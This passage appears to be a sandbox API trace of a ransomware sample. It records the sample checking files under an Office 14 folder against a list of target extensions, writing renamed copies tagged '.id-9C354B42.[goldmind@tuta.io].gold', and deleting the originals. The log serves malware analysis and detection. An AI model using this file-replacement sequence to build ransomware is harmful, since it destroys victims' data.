[0105.145] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0105.145] lstrlenW (lpString=".pdf") returned 4 [0105.146] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0105.146] lstrlenW (lpString=".xls") returned 4 [0105.146] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0105.146] lstrlenW (lpString=".xlsx") returned 5 [0105.146] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0105.146] lstrlenW (lpString=".ppt") returned 4 [0105.146] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0105.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.146] lstrlenW (lpString=".zip") returned 4 [0105.146] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0105.146] lstrlenW (lpString=".rar") returned 4 [0105.146] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0105.146] lstrlenW (lpString=".bz2") returned 4 [0105.146] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0105.146] lstrlenW (lpString=".7z") returned 3 [0105.146] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0105.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.146] lstrlenW (lpString=".dbf") returned 4 [0105.146] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0105.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.146] lstrlenW (lpString=".1cd") returned 4 [0105.146] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0105.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.146] lstrlenW (lpString=".jpg") returned 4 [0105.146] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0105.146] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0105.146] lstrlenW (lpString="OUTLOOK.DEV_K_COL.HXK") returned 21 [0105.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.147] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=113) returned 1 [0105.147] CloseHandle (hObject=0x198) returned 1 [0105.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk")) returned 0x20 [0105.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.147] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.147] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.148] GetLastError () returned 0x0 [0105.148] ReadFile (in: hFile=0x198, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x71, lpOverlapped=0x0) returned 1 [0105.148] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0105.149] ReadFile (in: hFile=0x198, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.149] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0105.149] SetEndOfFile (hFile=0x3c8) returned 1 [0105.149] CloseHandle (hObject=0x3c8) returned 1 [0105.149] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.149] SetEndOfFile (hFile=0x198) returned 1 [0105.151] CloseHandle (hObject=0x198) returned 1 [0105.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk")) returned 1 [0105.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.152] lstrlenW (lpString=".doc") returned 4 [0105.152] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.152] lstrlenW (lpString=".docx") returned 5 [0105.152] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.152] lstrlenW (lpString=".pdf") returned 4 [0105.152] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.152] lstrlenW (lpString=".xls") returned 4 [0105.152] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.152] lstrlenW (lpString=".xlsx") returned 5 [0105.152] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.152] lstrlenW (lpString=".ppt") returned 4 [0105.152] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.152] lstrlenW (lpString=".zip") returned 4 [0105.152] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.152] lstrlenW (lpString=".rar") returned 4 [0105.152] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.152] lstrlenW (lpString=".bz2") returned 4 [0105.152] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.152] lstrlenW (lpString=".7z") returned 3 [0105.152] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.152] lstrlenW (lpString=".dbf") returned 4 [0105.152] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.152] lstrlenW (lpString=".1cd") returned 4 [0105.152] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.152] lstrlenW (lpString=".jpg") returned 4 [0105.153] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.153] lstrlenW (lpString=".doc") returned 4 [0105.153] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.153] lstrlenW (lpString=".docx") returned 5 [0105.153] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.153] lstrlenW (lpString=".pdf") returned 4 [0105.153] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.153] lstrlenW (lpString=".xls") returned 4 [0105.153] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.153] lstrlenW (lpString=".xlsx") returned 5 [0105.153] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.153] lstrlenW (lpString=".ppt") returned 4 [0105.153] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.153] lstrlenW (lpString=".zip") returned 4 [0105.153] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.153] lstrlenW (lpString=".rar") returned 4 [0105.153] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.153] lstrlenW (lpString=".bz2") returned 4 [0105.153] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.153] lstrlenW (lpString=".7z") returned 3 [0105.153] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.153] lstrlenW (lpString=".dbf") returned 4 [0105.153] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.153] lstrlenW (lpString=".1cd") returned 4 [0105.153] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0105.153] lstrlenW (lpString=".jpg") returned 4 [0105.153] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.154] lstrcmpiW (lpString1=".HOL", lpString2=".gold") returned 1 [0105.154] lstrlenW (lpString="OUTLOOK.HOL") returned 11 [0105.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.154] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1287548) returned 1 [0105.154] CloseHandle (hObject=0x198) returned 1 [0105.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol")) returned 0x20 [0105.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.155] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.155] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.155] GetLastError () returned 0x0 [0105.155] ReadFile (in: hFile=0x198, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0105.221] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0105.423] ReadFile (in: hFile=0x198, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x3a58c, lpOverlapped=0x0) returned 1 [0105.432] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x3a590, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x3a590, lpOverlapped=0x0) returned 1 [0105.437] ReadFile (in: hFile=0x198, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.437] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0105.437] SetEndOfFile (hFile=0x3c8) returned 1 [0105.437] CloseHandle (hObject=0x3c8) returned 1 [0105.437] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.437] SetEndOfFile (hFile=0x198) returned 1 [0105.459] CloseHandle (hObject=0x198) returned 1 [0105.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol")) returned 1 [0105.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.963] lstrlenW (lpString=".doc") returned 4 [0105.963] lstrcmpiW (lpString1=".doc", lpString2=".HOL") returned -1 [0105.963] lstrlenW (lpString=".docx") returned 5 [0105.963] lstrcmpiW (lpString1=".docx", lpString2="K.HOL") returned -1 [0105.963] lstrlenW (lpString=".pdf") returned 4 [0105.963] lstrcmpiW (lpString1=".pdf", lpString2=".HOL") returned 1 [0105.963] lstrlenW (lpString=".xls") returned 4 [0105.963] lstrcmpiW (lpString1=".xls", lpString2=".HOL") returned 1 [0105.963] lstrlenW (lpString=".xlsx") returned 5 [0105.963] lstrcmpiW (lpString1=".xlsx", lpString2="K.HOL") returned -1 [0105.963] lstrlenW (lpString=".ppt") returned 4 [0105.963] lstrcmpiW (lpString1=".ppt", lpString2=".HOL") returned 1 [0105.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.963] lstrlenW (lpString=".zip") returned 4 [0105.963] lstrcmpiW (lpString1=".zip", lpString2=".HOL") returned 1 [0105.963] lstrlenW (lpString=".rar") returned 4 [0105.963] lstrcmpiW (lpString1=".rar", lpString2=".HOL") returned 1 [0105.963] lstrlenW (lpString=".bz2") returned 4 [0105.963] lstrcmpiW (lpString1=".bz2", lpString2=".HOL") returned -1 [0105.963] lstrlenW (lpString=".7z") returned 3 [0105.963] lstrcmpiW (lpString1=".7z", lpString2="HOL") returned -1 [0105.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.963] lstrlenW (lpString=".dbf") returned 4 [0105.963] lstrcmpiW (lpString1=".dbf", lpString2=".HOL") returned -1 [0105.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.963] lstrlenW (lpString=".1cd") returned 4 [0105.963] lstrcmpiW (lpString1=".1cd", lpString2=".HOL") returned -1 [0105.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.963] lstrlenW (lpString=".jpg") returned 4 [0105.964] lstrcmpiW (lpString1=".jpg", lpString2=".HOL") returned 1 [0105.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.964] lstrlenW (lpString=".doc") returned 4 [0105.964] lstrcmpiW (lpString1=".doc", lpString2=".HOL") returned -1 [0105.964] lstrlenW (lpString=".docx") returned 5 [0105.964] lstrcmpiW (lpString1=".docx", lpString2="K.HOL") returned -1 [0105.964] lstrlenW (lpString=".pdf") returned 4 [0105.964] lstrcmpiW (lpString1=".pdf", lpString2=".HOL") returned 1 [0105.964] lstrlenW (lpString=".xls") returned 4 [0105.964] lstrcmpiW (lpString1=".xls", lpString2=".HOL") returned 1 [0105.964] lstrlenW (lpString=".xlsx") returned 5 [0105.964] lstrcmpiW (lpString1=".xlsx", lpString2="K.HOL") returned -1 [0105.964] lstrlenW (lpString=".ppt") returned 4 [0105.964] lstrcmpiW (lpString1=".ppt", lpString2=".HOL") returned 1 [0105.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.964] lstrlenW (lpString=".zip") returned 4 [0105.964] lstrcmpiW (lpString1=".zip", lpString2=".HOL") returned 1 [0105.964] lstrlenW (lpString=".rar") returned 4 [0105.964] lstrcmpiW (lpString1=".rar", lpString2=".HOL") returned 1 [0105.964] lstrlenW (lpString=".bz2") returned 4 [0105.964] lstrcmpiW (lpString1=".bz2", lpString2=".HOL") returned -1 [0105.964] lstrlenW (lpString=".7z") returned 3 [0105.964] lstrcmpiW (lpString1=".7z", lpString2="HOL") returned -1 [0105.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.964] lstrlenW (lpString=".dbf") returned 4 [0105.964] lstrcmpiW (lpString1=".dbf", lpString2=".HOL") returned -1 [0105.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.964] lstrlenW (lpString=".1cd") returned 4 [0105.964] lstrcmpiW (lpString1=".1cd", lpString2=".HOL") returned -1 [0105.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0105.964] lstrlenW (lpString=".jpg") returned 4 [0105.964] lstrcmpiW (lpString1=".jpg", lpString2=".HOL") returned 1 [0105.964] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0105.964] lstrlenW (lpString="PUB6INTL.DLL.IDX_DLL") returned 20 [0105.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.973] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=67968) returned 1 [0105.973] CloseHandle (hObject=0x39c) returned 1 [0105.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll")) returned 0x20 [0105.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.976] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.976] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.977] GetLastError () returned 0x0 [0105.977] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x10980, lpOverlapped=0x0) returned 1 [0105.980] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x10990, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x10990, lpOverlapped=0x0) returned 1 [0105.982] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.982] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0105.982] SetEndOfFile (hFile=0x394) returned 1 [0105.982] CloseHandle (hObject=0x394) returned 1 [0105.982] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.982] SetEndOfFile (hFile=0x3ac) returned 1 [0105.985] CloseHandle (hObject=0x3ac) returned 1 [0105.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll")) returned 1 [0105.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.986] lstrlenW (lpString=".doc") returned 4 [0105.986] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0105.986] lstrlenW (lpString=".docx") returned 5 [0105.986] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0105.986] lstrlenW (lpString=".pdf") returned 4 [0105.986] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0105.986] lstrlenW (lpString=".xls") returned 4 [0105.986] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0105.986] lstrlenW (lpString=".xlsx") returned 5 [0105.986] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0105.986] lstrlenW (lpString=".ppt") returned 4 [0105.986] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0105.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.986] lstrlenW (lpString=".zip") returned 4 [0105.986] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0105.986] lstrlenW (lpString=".rar") returned 4 [0105.986] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0105.986] lstrlenW (lpString=".bz2") returned 4 [0105.986] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0105.986] lstrlenW (lpString=".7z") returned 3 [0105.986] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.986] lstrlenW (lpString=".dbf") returned 4 [0105.986] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0105.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.986] lstrlenW (lpString=".1cd") returned 4 [0105.986] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.987] lstrlenW (lpString=".jpg") returned 4 [0105.987] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0105.987] lstrlenW (lpString=".doc") returned 4 [0105.987] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0105.987] lstrlenW (lpString=".docx") returned 5 